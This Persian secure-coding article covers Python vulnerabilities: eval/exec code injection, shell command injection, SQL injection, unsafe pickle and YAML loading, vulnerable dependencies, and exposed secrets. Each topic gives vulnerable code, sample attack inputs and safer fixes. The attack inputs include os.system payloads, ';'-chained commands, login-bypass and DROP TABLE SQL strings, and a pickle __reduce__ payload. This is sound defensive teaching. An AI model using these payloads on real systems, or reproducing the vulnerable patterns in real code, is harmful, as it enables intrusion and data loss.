امروز : ۰۳ تیر ۱۴۰۵ (2026/06/24)

بررسی کامل امنیت در پایتون؛ تهدیدها و راهکار مقابله

طی دهه های گذشته فناوری اطلاعات و ارتباطات با سرعت خیره کننده ای توسعه یافته است و نرم افزار ها بخش جدایی ناپذیری از زندگی روزمره را تشکیل می دهند!

در این میان زبان های برنامه نویسی نقش پررنگی در توسعه سامانه های نرم افزاری و سیستم ها ایفا می کنند و یک زبان مناسب می تواند تاثیر مستقیمی بر کارایی و امنیت سامانه های نرم افزاری داشته باشد!

زبان برنامه نویسی پایتون به دلیل سادگی٬ خوانایی بالا٬ انعطاف پذیری و برخورداری از مجموعه گسترده از کتابخانه ها و ابزارهای متن باز به یکی از محبوب ترین زبان های برنامه نویسی دنیا تبدیل شده هست که کارآموزان زیادی هر ساله مشغول یادگیری آن هستند!

پایتون در حوزه های مختلفی کاربر دارد که می توان به توسعه وب٬ هوش مصنوعی٬ یادگیری ماشین٬ تحلیل داده٬ اینترنت اشیا و امنیت سایبری اشاره کرد!

وقتی یک زبان برنامه نویسی تا این اندازه در سامانه های حساس و زیرساخت های مهم مورد استفاده قرار میگیرد موضوعی که باید به آن توجه ویژه ای داشت بحث امنیت می باشد!

امنیت یکی از مهم ترین دغدغه های برنامه نویسان و توسعه دهندگان پایتون می باشد و امروزه امنیت نرم‌ افزار تنها به معنای جلوگیری از نفوذ و حملات سایبری نیست، بلکه مجموعه‌ ای از اصول، روش‌ ها و استاندارد هایی را در بر می‌ گیرد که هدف آن‌ها حفظ محرمانگی، صحت و دسترس‌ پذیری اطلاعات و منابع سامانه‌ ها است.

هرگونه ضعف امنیتی در نرم‌ افزارها می‌ تواند زمینه‌ ساز سواستفاده مهاجمان، افشای اطلاعات حساس، اختلال در سرویس‌ ها و خسارات مالی و اعتباری قابل توجه شود.

اگر چه پایتون به عنوان یک زبان برنامه نویسی قدرتمند شناخته می شود که امروزه استفاده حداکثری دارد و شاید بتوان گفت به یک بلوغ بالا رسیده است اما امنیت نرم افزار هایی که با این زبان نوشته شده اند جزو ویژگی های ذاتی این زبان برنامه نویسی نیست! و باید به موارد متعددی مانند شیوه پیاده سازی٬ استفاده از کتابخانه های جانبی٬ مدیریت وابستگی ها و رعایت برنامه نویسی امن توجه ویژه ای داشت!

امروزه با توجه به افزایش پیچیدگی های حملات سایبری  و گسترش تهدید های اینترنتی٬ به کارگیری رویکرد های مناسب در طراحی و توسعه نرم افزار ها اهمیت فراوانی یافته است! شناخت نقاط ضعف احتمالی، بررسی مستمر وضعیت امنیتی، بروزرسانی منظم نرم‌ افزار ها و استفاده از ابزار های ارزیابی امنیت از جمله اقداماتی هستند که می‌ توانند نقش موثری در کاهش خطرات و افزایش سطح امنیت سامانه‌ های مبتنی بر پایتون ایفا کنند.

به همین منظور بررسی ابعاد مختلف امنیت در پایتون و شناخت تهدید ها و چالش هایی که وجود دارد می تواند به توسعه دهندگان کمک کند تا با دیدگاه بازتری نسبت به طراحی و پیاده سازی سامانه های امن اقدام کنند و از بروز مشکلات بسیاری که از ضعف های امنیتی ممکن است رخ دهد جلوگیری کنند!

در این مقاله، مهم‌ ترین آسیب‌ پذیری‌ های مرتبط با زبان برنامه‌ نویسی پایتون و برنامه‌ های توسعه‌ یافته با آن مورد بررسی قرار گرفته و راهکارهای موثر برای پیشگیری و کاهش مخاطرات امنیتی ارائه خواهد شد.

 

1- Code Injection:

Code Injection یا همان تزریق کد یکی از خطرناک ترین آسیب پذیری های موجود در برنامه های پایتون می باشد!

این آسیب پذیری زمان رخ می دهد که داده های ورودی کاربران بدون اعتبار سنجی و کنترل مناسب٬ مستقیم به عنوان بخشی از کد برنامه خوانده و اجرا شود! در این شرایط هکر می تواند با ارسال ورودی های خاص٬ دستورات دلخواه خود را در محیط اجرای برنامه اجرا کند و به اطلاعات حساسی دسترسی پیدا کند٬ فایل ها را تغییر دهد و یا حتی کنترل کامل سیستم را در اختیار بگیرد.

در زبان پایتون، استفاده از توابعی مانند eval() و exec() بیشترین نقش را در ایجاد این نوع آسیب‌ پذیری دارند.

این توابع که رشته های متنی را به عنوان کد پایتون تفسیر و اجرا می کنند در صورتی که ورودی آن ها از کاربر دریافت می شود می تواند به ابزاری برای اجرای کدهای مخرب تبدیل شوند!

 

مثال آسیب‌ پذیر:

در مثال زیر، برنامه عبارتی را از کاربر دریافت کرده و آن را با استفاده از تابع eval() اجرا می‌ کند:

user_input = input("Enter expression: ")
result = eval(user_input)
print(result)

در حالت عادی، کاربر می‌ تواند عباراتی مانند زیر را وارد کند:

5 + 10

اما یک مهاجم قادر است دستورات خطرناکی را اجرا کند:

__import__('os').system('ls')

یا در سیستم ویندوز:

__import__('os').system('dir')

در این حالت به جای انجام یک محاسبه ساده ریاضی برنامه دستورات سیستم عامل را اجرا می کند که می تواند باعث افشای اطلاعات و یا آسیب به سیستم شود!

 

استفاده از exec و خطرات آن:

تابع exec() حتی خطرناک‌ تر از eval() است، زیرا می‌ تواند چندین دستور را اجرا کند:

code = input("Enter code: ")
exec(code)

یک مهاجم می‌تواند ورودی زیر را ارسال کند:

import os
os.remove("important_file.txt")

که باعث حذف فایل مورد نظر خواهد شد.

 

 

روش‌ های جلوگیری از Code Injection:

برای جلوگیری از آسیب پذیری تزریق کد می توان چند کار را انجام داد تا تقریبا از این بابت باعث آسودگی خاطر شود! البته که هیچ راهکار امنیتی صد در صد نیست و همیشه باید روش های جدید را هم در نظر داشت!

 

اجتناب از استفاده از eval و exec:

برای جلوگیری از تزریق کد در این توابع بهترین کار عدم استفاده از این توابع برای پردازش ورودی کاربران می باشد تا خطر تزریق کد به حداقل برسد!

 

استفاده از توابع جایگزین امن:

اگر هدف انجام محاسبات ریاضی است، می‌توان از تبدیل نوع داده‌ ها استفاده کرد:

number1 = int(input("First number: "))
number2 = int(input("Second number: "))

print(number1 + number2)

 

استفاده از ast.literal_eval:

در صورتی که نیاز به تبدیل رشته به داده‌ های پایتون وجود داشته باشد، تابع ast.literal_eval() گزینه امن‌ تری محسوب می‌ شود:

import ast

user_input = "[1, 2, 3]"
data = ast.literal_eval(user_input)

print(data)

برخلاف eval()، این تابع فقط ساختارهای داده‌ای ساده مانند لیست، دیکشنری و اعداد را پردازش می‌ کند و اجازه اجرای دستورات را نمی‌ دهد و همین موضوع باعث جلوگیری از اجرای دستورات ناخواسته و خطرناک می شود و ریسک امنیتی را کاهش می دهد.

 

اعتبارسنجی ورودی‌ ها:

همراه باید نوع٬ طول و قالب داده های دریافتی از کاربر بررسی شود تا از ورود داده های غیرمنتظره جلوگیری شود در واقع شما نباید هر داده ای که از سمت کاربر وارد سیستم می شود را بدون اعتبارسنجی تایید کنید که باعث بروز مشکل می شود.

 

تزریق کد یکی از آسیب پذیری هایی بحرانی در برنامه های پایتون محسوب می شود و همانطور هم که گفته شد دلایل مشخصی برای این موضوع وجود دارد! از استفاده از توابعی اشتباه گرفته تا عدم صحت سنجی داده های ورودی کاربران!

با رعایت اصول برنامه نویسی امن و اجتناب از اجرای مستقیم ورودی کاربران و استفاده از روش های جایگزین می توان از این آسیب پذیری جلوگیری کرد!

 

2- Command Injection:

تزریق دستورات سیستم یکی از آسیب پذیری های خطرناک دیگری در برنامه های پایتون است و زمانی که رخ دهد مهاجم می تواند دستورات مستقیم سیستم عامل را تغییر دهد و دستوراتی قرار دهد باعث حذف یا در اختیار گرفتن سیستم شود!

عموما این آسیب پذیری زمانی رخ می دهد که داده های دریافتی از سمت کاربر بدون اعتبار سنجی مستقیما در دستورات سیستم عامل پردازش می شوند!

این آسیب‌ پذیری معمولا در برنامه‌ هایی مشاهده می‌ شود که از توابعی مانند os.system()، subprocess.call()، subprocess.run() یا سایر ابزار های اجرای دستورات سیستم استفاده می‌ کنند. اگر ورودی کاربران بدون کنترل مناسب به این توابع منتقل شود، امکان سواستفاده توسط مهاجمان وجود خواهد داشت.

 

مثال آسیب‌ پذیر:

فرض کنید برنامه‌ ای برای بررسی اتصال به یک میزبان یا همان Host از دستور ping استفاده می‌ کند:

import os

host = input("Enter IP address: ")

os.system("ping " + host)

در حالت عادی، کاربر ممکن است مقدار زیر را وارد کند:

8.8.8.8

که دستور زیر اجرا خواهد شد:

ping 8.8.8.8

اما یک مهاجم می‌ تواند ورودی زیر را ارسال کند:

در لینوکس:

8.8.8.8 ; ls

که منجر به اجرای دستور زیر می‌ شود:

ping 8.8.8.8 ; ls

در ویندوز:

8.8.8.8 & dir

که علاوه بر اجرای دستور ping، محتوای پوشه را نیز نمایش می‌ دهد.

در سناریو های خطرناک‌ تر، مهاجم ممکن است دستورات حذف فایل‌ ها یا دانلود بدافزار را اجرا کند.

استفاده ناامن از subprocess:

استفاده از پارامتر shell=True یکی از دلایل رایج بروز این آسیب‌ پذیری است:

import subprocess

host = input("Host: ")

subprocess.run("ping " + host, shell=True)

اگر مهاجم مقدار زیر را وارد کند:

8.8.8.8 ; whoami

علاوه بر دستور ping، دستور whoami نیز اجرا خواهد شد.

 

روش ایمن‌ تر:

به جای ارسال کل دستور به Shell، بهتر است آرگومان‌ ها به صورت جداگانه ارسال شوند:

import subprocess

host = input("Host: ")

subprocess.run(["ping", host])

در این حالت، حتی اگر مهاجم کاراکترهای مخرب وارد کند، به عنوان بخشی از آرگومان در نظر گرفته می‌ شوند و امکان اجرای دستور اضافی وجود نخواهد داشت.

 

اعتبارسنجی ورودی‌ ها:

همیشه باید داده‌های دریافتی از کاربران بررسی شوند. برای مثال اگر فقط آدرس IP مجاز است، می‌ توان از ماژول ipaddress استفاده کرد:

import ipaddress

host = input("Enter IP: ")

try:
    ipaddress.ip_address(host)
    print("Valid IP")
except ValueError:
    print("Invalid IP address")

این کار از ورود مقادیر غیرمجاز جلوگیری می‌ کند.

 

استفاده از کتابخانه‌ های اختصاصی:

در بسیاری از موارد، به جای فراخوانی دستورات سیستم می‌ توان از کتابخانه‌ های پایتون استفاده کرد. به عنوان مثال، برای مدیریت فایل‌ ها بهتر است از ماژول os یا pathlib استفاده شود و برای انجام درخواست‌ های شبکه از کتابخانه‌هایی مانند requests بهره گرفته شود.

به طور کلی با روش های زیر می توان از تزریق اجرای دستورات سیستم جلوگیری کرد:

اجتناب از استفاده از os.system().

عدم استفاده از shell=True در توابع subprocess.

ارسال پارامترها به صورت لیست به تابع subprocess.run().

اعتبارسنجی و محدود کردن ورودی کاربران.

استفاده از کتابخانه‌ های داخلی پایتون به جای اجرای دستورات سیستم.

اجرای برنامه با حداقل سطح دسترسی ممکن.

تزریق دستورات سیستم یکی از آسیب پذیری های بحرانی در برنامه ها و نرم افزارهای توسعه یافته با پایتون می باشد که به دلیل استفاده نادرست از توابع اجرای دستورات سیستم عامل ایجاد می شود!

مهاجم از این ضعف برای اجرای دستورات دلخواه و دسترسی به فایل ها و حتی تصاحب کامل سیستم استفاده می کند! رعایت اصول برنامه نویسی و حذف وابستگی به Shell و اعتبار سنجی ورودی داده های کاربران از راهکار خوب جلوگیری از این آسیب پذیری می باشد.

 

3- آسیب‌ پذیری تزریق SQL:

SQL Injection یکی دیگر از آسیب پذیری های خطرناکی هست که تقریبا هر برنامه تحت وبی که با دیتابیس سر و کار داشته باشد به نوعی در معرض خطر آن می باشد!

این آسیب پذیری زمانی رخ می دهد که داده های ورودی کاربران بدون اعتبار سنجی مناسب و بدون استفاده از مکانیزم های درست و اصولی در دستورات SQL قرار می گیرند. در چنین شرایط یک مهاجم می تواند با تزریق کد های SQL دلخواه٬ ساختار پایگاه داده را تغییر دهد و به اطلاعات حساس و ارزشمندی دسترسی پیدا کند! یا داده ها را تغییر دهد و حتی آن ها را حذف کند!

در برنامه‌ های پایتون، این مشکل معمولا زمانی به وجود می‌ آید که رشته‌ های SQL با استفاده از Concatenation یا قالب‌ بندی رشته‌ ها ساخته شوند. اگر ورودی کاربر مستقیما در این رشته‌ ها قرار گیرد، امکان سواستفاده توسط مهاجم فراهم خواهد شد.

 

مثال آسیب‌ پذیر:

فرض کنید برنامه‌ ای برای احراز هویت کاربران وجود دارد:

import sqlite3

conn = sqlite3.connect("users.db")
cursor = conn.cursor()

username = input("Username: ")
password = input("Password: ")

query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"

cursor.execute(query)

result = cursor.fetchone()

if result:
    print("Login successful")
else:
    print("Login failed")

در حالت عادی، اگر کاربر نام کاربری و رمز عبور صحیح را وارد کند، وارد سیستم می‌ شود. اما یک مهاجم می‌ تواند مقدار زیر را برای نام کاربری وارد کند:

' OR '1'='1

در نتیجه، دستور SQL به شکل زیر تبدیل می‌ شود:

SELECT * FROM users
WHERE username='' OR '1'='1'
AND password=''

از آنجا که عبارت '1'='1' همیشه درست است، شرط احراز هویت دور زده شده و مهاجم می‌تواند بدون داشتن رمز عبور وارد سیستم شود.

 

استخراج اطلاعات از پایگاه داده:

در برخی موارد، مهاجم قادر است با استفاده از عملگر UNION اطلاعات جداول دیگر را نیز استخراج کند. برای مثال:

' UNION SELECT username,password FROM users --

در این حالت، ممکن است اطلاعات حساب‌ های کاربری موجود در پایگاه داده افشا شوند.

 

حذف اطلاعات پایگاه داده:

در صورت عدم وجود محدودیت‌ های لازم، مهاجم می‌ تواند دستورات مخرب اجرا کند:

'; DROP TABLE users; --

که باعث حذف کامل جدول کاربران خواهد شد.

 

روش ایمن: استفاده از Query Parameter

بهترین راه مقابله با SQL Injection استفاده از کوئری‌ های پارامتری است. در این روش، داده‌ های ورودی کاربر از ساختار دستور SQL جدا می‌ شوند.

نمونه ایمن:

import sqlite3

conn = sqlite3.connect("users.db")
cursor = conn.cursor()

username = input("Username: ")
password = input("Password: ")

query = "SELECT * FROM users WHERE username=? AND password=?"

cursor.execute(query, (username, password))

result = cursor.fetchone()

if result:
    print("Login successful")
else:
    print("Login failed")

در این حالت، حتی اگر کاربر ورودی مخرب وارد کند، به عنوان داده تفسیر می‌ شود و امکان تغییر ساختار دستور SQL وجود نخواهد داشت.

 

استفاده از ORM:

فریمورک‌ ها و کتابخانه‌ هایی مانند SQLAlchemy و Django ORM به صورت پیش‌فرض از مکانیزم‌ های ایمن استفاده می‌ کنند.

نمونه در SQLAlchemy:

user = session.query(User).filter_by(
    username=username,
    password=password
).first()

در این حالت، داده‌ های کاربر مستقیما وارد رشته SQL نمی‌ شوند و خطر SQL Injection تا حد زیادی کاهش می‌ یابد.

به طور کلی با انجام روش های زیر می توان جلوی SQL Injection را گرفت :

استفاده از کوئری‌ های پارامتری.

خودداری از ساختن رشته‌ های SQL با استفاده از الحاق (+) یا f-string.

استفاده از ORM هایی مانند SQLAlchemy و Django ORM.

اعتبارسنجی داده‌ های ورودی کاربران.

محدود کردن سطح دسترسی حساب‌ های پایگاه داده.

نمایش ندادن خطاهای پایگاه داده به کاربران.

بروزرسانی مستمر سیستم مدیریت پایگاه داده و کتابخانه‌ های مرتبط

SQL Injection یکی از آسیب پذیری های بسیار مهم و خطرناک در برنامه های توسعه یافته با پایتون می باشد که می تواند منجر به افشای اطلاعات٬ تغییر داده ها٬ حذف جداول و دور زدن روش های احراز هویت شود! علت اصلی این آسیب پذیری هم همانطور که گفته شد استفاده نادرست از داده های ورودی کاربران در ساختار SQL می باشد!

 

4- آسیب‌ پذیری در فرآیند سریال‌ سازی داده‌ ها:

سریال سازی یا همان Serialization فرآیندی هست که در آن اشیا و ساختار های داده ای به قالبی قابل ذخیره سازی یا انتقال تبدیل می شوند تا در زمان دیگری بتوان آن ها را مجدد بازسازی یا اصطلاحا Deserialize کرد.

این مکانیزم در پروژه های پایتون عموما برای ذخیره اطلاعات٬ انتقال داده ها بین سرویس های مختلف٬ کش کردن داده ها و ارتباط با پایگاه داده مورد استفاده قرار می گیرد!

اگرچه سریال سازی ابزاری قدرتمند و پرکاربرد است اما استفاده نادرست از آن می تواند به یکی از خطرناک ترین آسیب پذیری های امنیتی تبدیل شود! زمانی که یک برنامه داده های سریال شده را از منابع غیرقابل اعتماد دریافت می کند و بدون بررسی یا اعتبار سنجی مناسب آن ها را بازسازی می کند! در این شرایط مهاجم می تواند کدهای مخرب خود را در داده ها جاسازی کرده و باعث اجرای دستورات دلخواه روی سیستم می شود! به این نوع آسیب پذیری نا امن Insecure Deserialization گفته می شود.

در زبان پایتون، کتابخانه pickle یکی از رایج‌ ترین منابع این آسیب‌ پذیری است، زیرا هنگام بازیابی اشیا، امکان اجرای کد های دلخواه وجود دارد.

 

استفاده از Pickle:

فرض کنید برنامه‌ ای داده‌ های دریافتی را با استفاده از pickle.loads() بازیابی می‌ کند:

import pickle

data = input("Enter serialized data: ").encode()

obj = pickle.loads(data)

print(obj)

اگر داده دریافتی از منبعی غیرقابل اعتماد باشد، مهاجم می‌ تواند محتوایی ایجاد کند که هنگام Deserialize شدن، کد مخرب اجرا کند.

 

نمونه حمله با Pickle:

در مثال زیر، یک شی مخرب تعریف می‌ شود:

import pickle
import os

class Malicious:
    def __reduce__(self):
        return (os.system, ("echo Hacked!",))

payload = pickle.dumps(Malicious())

زمانی که این داده توسط برنامه‌ ای که از pickle.loads() استفاده می‌ کند پردازش شود:

pickle.loads(payload)

دستور زیر روی سیستم اجرا خواهد شد:

echo Hacked!

در سناریوهای واقعی، مهاجم می‌ تواند به جای این دستور، کد های مخرب پیچیده‌ تری را اجرا کند و کنترل سیستم را به دست بگیرد.

 

استفاده از JSON به عنوان جایگزین ایمن:

برای تبادل داده‌ های ساده، استفاده از فرمت JSON گزینه بسیار امن‌ تری محسوب می‌ شود:

import json

data = '{"name":"Ali","age":25}'

obj = json.loads(data)

print(obj)

برخلاف Pickle، JSON تنها داده‌ ها را بازیابی می‌ کند و امکان اجرای کد وجود ندارد.

آسیب‌ پذیری در YAML:

استفاده نادرست از کتابخانه PyYAML نیز می‌ تواند باعث ایجاد مشکلات مشابه شود.

نمونه آسیب‌ پذیر:

import yaml

with open("data.yml") as file:
    data = yaml.load(file, Loader=yaml.Loader)

در این حالت، اگر فایل YAML حاوی داده‌ های مخرب باشد، امکان اجرای کد های ناخواسته وجود دارد.

روش ایمن‌ تر:

import yaml

with open("data.yml") as file:
    data = yaml.safe_load(file)

تابع safe_load() تنها ساختارهای داده‌ ای ساده را پردازش می‌ کند و از اجرای اشیا خطرناک جلوگیری می‌ کند.

راهکار های جلوگیری از آسیب‌ پذیری سریال‌ سازی:

برای جلوگیری از بروز این رخنه امنیتی راهکار هایی وجود دارد که به آن اشاره خواهیم کرد!

 

عدم استفاده از Pickle برای داده‌ های غیرقابل اعتماد:

داده‌ هایی که از کاربران، شبکه یا منابع ناشناس دریافت می‌ شوند نباید مستقیما با pickle.loads() پردازش شوند.

استفاده از فرمت‌ های ایمن‌ تر:

فرمت‌هایی مانند:

JSON

XML با تنظیمات ایمن

Protocol Buffers

MessagePack

انتخاب‌ های مناسب‌ تری برای تبادل داده هستند.

 

استفاده از safe_load در PyYAML

در هنگام کار با فایل‌ های YAML بهتر است از:

yaml.safe_load()

استفاده شود.

 

اعتبارسنجی داده‌ های ورودی:

اطمینان از معتبر بودن ساختار داده‌ ها می‌تواند احتمال سواستفاده را کاهش دهد.

 

محدود کردن سطح دسترسی برنامه:

همیشه برنامه باید سطح دسترسی پایینی داشته باشید تا در صورت صورت وقوع حمله، اجرای برنامه با حداقل سطح دسترسی می‌ تواند از خسارات گسترده جلوگیری کند.

سریال‌ سازی نا امن یکی از آسیب‌ پذیری‌ های مهم در برنامه‌ های پایتون محسوب می‌ شود که اغلب در اثر اعتماد بیش از حد به داده‌ های دریافتی ایجاد می‌ شود.

کتابخانه‌هایی مانند pickle و استفاده نادرست از YAML می‌توانند امکان اجرای کدهای مخرب را فراهم کنند. به همین دلیل، توصیه می‌ شود برای تبادل داده‌ها از فرمت‌های ایمن‌ تر مانند JSON استفاده شود و هرگز داده‌ های سریال‌ شده دریافتی از منابع غیرقابل اعتماد بدون بررسی مناسب بازیابی نشوند.

 

5- آسیب‌ پذیری‌ های ناشی از کتابخانه‌ ها و وابستگی‌ ها:

همانطور که در مقدمه اشاره شد یکی از مهم ترین ویژگی های پایتون وجود کتابخانه های گسترده و بسته های نرم افزاری متن باز می باشد که شامل صد ها هزارکتابخانه می باشد که توسعه دهندگان برای افزایش سرعت توسعه و جلوگیری از نوشتن کدها از آن استفاده می کنند!

با وجود مزایای زیادی که این قابلیت پایتون دارد می تواند خطرات امنیتی قابل توجهی هم برای پروژه ایجاد کند! وجود آسیب پذیری در یک کتابخانه و وابستگی های مورد استفاده آن می تواند امنیت کل پروژه را تحت تاثیر قرار دهد!

بسیاری از حملات سایبری مدرن، به جای هدف قرار دادن مستقیم کد اصلی برنامه، بر سواستفاده از وابستگی‌ ها و زنجیره تامین نرم‌ افزار تمرکز دارند. در چنین حملاتی، مهاجمان از طریق انتشار نسخه‌ های آلوده، سواستفاده از کتابخانه‌ های قدیمی یا جایگزینی بسته‌ های معتبر، اقدام به نفوذ به سامانه‌ های هدف می‌ کنند.

 

استفاده از نسخه‌ های قدیمی و آسیب‌ پذیر:

یکی از علت های رایجی که باعث بروز این رخنه امنیتی می شود استفاده از نسخه های قدیمی کتابخانه ها می باشد!

برای مثال ممکن است برنامه از نسخه قدیمی یک کتابخانه استفاده کند که دارای آسیب پذیری شناخته شده باشد و باعث بروز مشکلات امنیتی و رخنه در نرم افزار شود!

فایل requirements.txt زیر را در نظر بگیرید:

Flask==1.0
requests==2.18.0
urllib3==1.24.1

ممکن است برخی از این نسخه‌ ها دارای آسیب‌ پذیری‌ های امنیتی شناخته‌ شده باشند که توسط مهاجمان قابل سواستفاده هستند.

حملات زنجیره تامین:

در این نوع حملات، مهاجم سعی می‌ کند به جای حمله مستقیم به نرم‌ افزار، یکی از وابستگی‌ های آن را آلوده کند. در صورتی که توسعه‌ دهنده بسته آلوده را نصب کند، کد مخرب نیز همراه آن اجرا خواهد شد.

به عنوان مثال:

pip install malicious-package

اگر بسته مذکور حاوی کد مخرب باشد، ممکن است در زمان نصب یا اجرای برنامه، اطلاعات حساس را سرقت کرده یا دستورات مخربی را اجرا کند.

 

 

حمله Dependency Confusion:

یکی از حملات مشهور زنجیره تامین، حمله Dependency Confusion است. فرض کنید یک شرکت دارای بسته داخلی با نام زیر باشد:

company-utils

اگر مهاجم بسته‌ای با همین نام را در PyPI منتشر کند و نسخه آن را بالاتر قرار دهد، امکان دارد سیستم به اشتباه نسخه مهاجم را دانلود و نصب کند:

pip install company-utils

در نتیجه، کد مخرب مهاجم وارد محیط برنامه خواهد شد.

 

بررسی آسیب‌ پذیری‌ ها با pip-audit:

ابزار pip-audit می‌ تواند کتابخانه‌ های نصب‌ شده را بررسی کرده و آسیب‌ پذیری‌ های شناخته‌ شده را گزارش کند:

pip install pip-audit

سپس:

pip-audit

خروجی نمونه:

Found 2 known vulnerabilities in 1 package
Name     Version  ID
urllib3  1.24.1   PYSEC-2021-108

 

استفاده از Safety:

ابزار Safety نیز برای شناسایی وابستگی‌ های آسیب‌ پذیر کاربرد دارد:

pip install safety

اجرای اسکن:

safety check

این ابزار کتابخانه‌ های نصب‌ شده را با پایگاه داده آسیب‌ پذیری‌ های شناخته‌ شده مقایسه می‌کند.

 

راهکار های جلوگیری از آسیب‌پذیری‌ های وابستگی‌ ها:

در ادامه راهکار هایی را عرض می کنیم که تا جای ممکن جلوی بروز این مشکل را بگیرد.

بروزرسانی منظم کتابخانه‌ ها:

استفاده از آخرین نسخه‌ های پایدار، احتمال سواستفاده از آسیب‌ پذیری‌ های شناخته‌ شده را کاهش می‌ دهد.

برای مشاهده بسته‌های قدیمی می‌توان از دستور زیر استفاده کرد:

pip list --outdated

و برای ارتقا:

pip install --upgrade requests

استفاده از نسخه‌ های مشخص:

بهتر است نسخه دقیق هر کتابخانه در فایل requirements.txt مشخص شود تا در تمامی محیط‌ ها از نسخه یکسان استفاده شود و از بروز ناسازگاری جلوگیری شود.

این کار باعث می‌ شود تغییرات ناگهانی نسخه‌ های جدید تاثیر منفی بر پروژه نداشته باشند و فرآیند استقرار قابل پیش‌بینی‌ تر باشد.

Django==5.1.5
requests==2.32.3

به این شکل می توان فایل requirements.txt را نوشت!

بررسی امنیت وابستگی‌ ها:

استفاده از ابزار هایی مانند:

pip-audit

Safety

Dependabot

Snyk

باعث شناسایی سریع آسیب‌ پذیری‌ های شناخته‌ شده در کتابخانه‌ ها می‌ شود. این ابزار ها می‌ توانند به‌ صورت دوره‌ ای وابستگی‌ ها را بررسی کرده و در صورت وجود مشکلات امنیتی، هشدارهای لازم را ارائه دهند.

نصب کتابخانه‌ ها فقط از منابع معتبر:

بهتر است بسته‌ ها تنها از PyPI رسمی یا مخازن خصوصی مورد اعتماد دریافت شوند. استفاده از منابع نامعتبر می‌ تواند خطر ورود کد های مخرب و آسیب‌ پذیری‌ های امنیتی را افزایش دهد. همچنین بهتر است پیش از نصب، اعتبار و محبوبیت بسته‌ ها بررسی شود.

استفاده از محیط‌ های مجازی:

ایزوله کردن پروژه‌ ها باعث جلوگیری از تداخل وابستگی‌ ها و کاهش خطرات امنیتی می‌ شود. با استفاده از محیط مجازی، هر پروژه مجموعه کتابخانه‌ های مستقل خود را خواهد داشت و تغییرات یک پروژه بر سایر پروژه‌ ها تاثیری نخواهد گذاشت.

python -m venv myenv

استفاده از محیط مجازی همچنین مدیریت نسخه‌ ها و استقرار پروژه را ساده‌ تر می‌ کند.

بررسی کد کتابخانه‌های حساس:

در پروژه های مهم بهتر است هر کتابخانه ای که مورد استفاده قرار میگیرد ابتدا تعداد کاربرانی که از آن استفاده می کنند و سابقه امنیتی آن بررسی شود!

انتخاب کتابخانه های فعال و پشتیبانی شده٬ احتمال مواجه با آسیب پذیری ها را کاهش می دهد!

همچنین توصیه می‌ شود پیش از استفاده از کتابخانه‌ های حساس، مستندات، مخزن کد و سابقه بروزرسانی آن‌ ها مورد ارزیابی قرار گیرد تا از قابل اعتماد بودن آن‌ ها اطمینان حاصل شود.

 

وابستگی ها و کتابخانه های زیادی که در پایتون وجود دارند یک مزیت عالی هست و همین مزیت در صورتی که به شکل صحیح و اصولی استفاده نشود می تواند به یک معضل جدی امنیتی تبدیل شود!

بروزرسانی مستمر، استفاده از ابزارهای تحلیل امنیتی و مدیریت صحیح وابستگی‌ ها، از مهم‌ ترین راهکار های افزایش امنیت نرم‌ افزار های مبتنی بر پایتون به شمار می‌ روند.

 

6- افشای اطلاعات حساس:

افشای اطلاعات حساس یا همان Sensitive Data Exposure جزو مشکلات تقریبا رایجی امنیتی هست که در پروژه های پایتون و سایر نرم افزار ها رخ می دهد!

این آسیب پذیری زمانی رخ می دهد که اطلاعات محرمانه مانند رمزهای عبور٬ کلید های API، توکن‌ های احراز هویت، اطلاعات پایگاه داده، کلید های رمزنگاری یا سایر داده‌ های مهم، بدون محافظت مناسب در کد منبع، فایل‌ های پیکربندی، لاگ‌ ها یا مخازن کد ذخیره شوند.

در چنین شرایطی مهاجمان یا افراد غیرمجاز می توانند به این اطلاعات دسترسی پیدا کنند و از آن ها برای نفوذ به سیستم استفاده کنند و به سرقت اطلاعات یا خرابکاری بپردازند.

این مشکل بیشتر بخاطر سهل انگاری های زمان توسعه رخ می دهد که از داده های حساس به شکل اصولی محافظت نمی شود!

با توجه به اینکه بسیاری از پروژه های پایتون از سرویس های خارجی و پایگاه های داده و سرویس های ابری استفاده می کنند به همین دلیل محافظت از اطلاعات حساس بسیار پر اهمیت هست! افشای تنها یک کلید API یا رمز عبور پایگاه داده می‌ تواند امنیت کل سامانه را به خطر بیندازد.

 

ذخیره اطلاعات حساس در کد منبع:

یکی از اشتباهات رایجی که در این زمینه زیاد مشاهده می شود این است که مستقیم اطلاعات محرمانه در فایل های برنامه قرار می گیرد!

نمونه آسیب‌ پذیر:

DATABASE_USER = "admin"
DATABASE_PASSWORD = "123456"

API_KEY = "sk_live_ABC123XYZ"

SECRET_KEY = "my_secret_key"

در نگاه اول وقتی به این کد ها نگاه می کنیم ممکن است این روش خیلی ساده و کاربردی باشد اما مشکل واقعی زمانی ایجاد می شود کد پروژه مستقیم در مخازن گیت یا مستقیم روی سیستم افراد دیگر قرار بگیرد! در این شرایط تمام اطلاعات نیز همراه کد ها منتشر می شود!

حتی اگر بعدا هم این مقادیر در کد ها حذف شود سابقه آن در Git باقی می ماند و افراد از طریق تاریخچه Commit ها به اطلاعات قبلی می توانند دسترسی پیدا کنند!

فرض کنید کلید API مربوط به سرویس OpenAI یا AWS را در کد قرار دادید و پروژه را به اشتباه در GitHub عمومی منتشر کردید! ربات‌ هایی وجود دارند که به صورت مداوم مخازن عمومی را اسکن می‌ کنند و به محض پیدا کردن کلید ها، از آن‌ ها سواستفاده می‌ کنند. در برخی موارد، این مسئله باعث تحمیل هزینه‌ های سنگین مالی به صاحبان حساب شده است.

 

ذخیره رمز عبور به صورت متن ساده:

همیشه در تمام سیستم ها این موضوع تاکید می شود که پسورد هایی که روی سامانه ها ست می شود باید از نظر امنیتی قدرتمند باشند تا به سادگی با حملات بروت فورس نتوان به آن دسترسی پیدا کرد! استفاده از رمز های عبور ساده و ذخیره رمزهای عبور کاربران بدون هش کردن، یکی از خطرناک‌ ترین اشتباهات امنیتی است.

نمونه نامناسب:

password = "admin123"

یا ذخیره مستقیم در پایگاه داده:

INSERT INTO users(username, password)
VALUES('Ali', 'admin123')

در صورت نفوذ به پایگاه داده، تمامی رمز های عبور کاربران افشا خواهند شد و این مورد باعث یک چالش جدی امنیتی می شود!

 

استفاده از متغیرهای محیطی:

روش استانداردی که به توسعه دهنده برای نگهداری اطلاعات حساس کمک می کند استفاده از متغییر های محیطی می باشد!

فایل .env:

DATABASE_PASSWORD=myStrongPassword
API_KEY=sk_live_ABC123XYZ
SECRET_KEY=mySecretKey

کد پایتون:

import os

db_password = os.getenv("DATABASE_PASSWORD")
api_key = os.getenv("API_KEY")

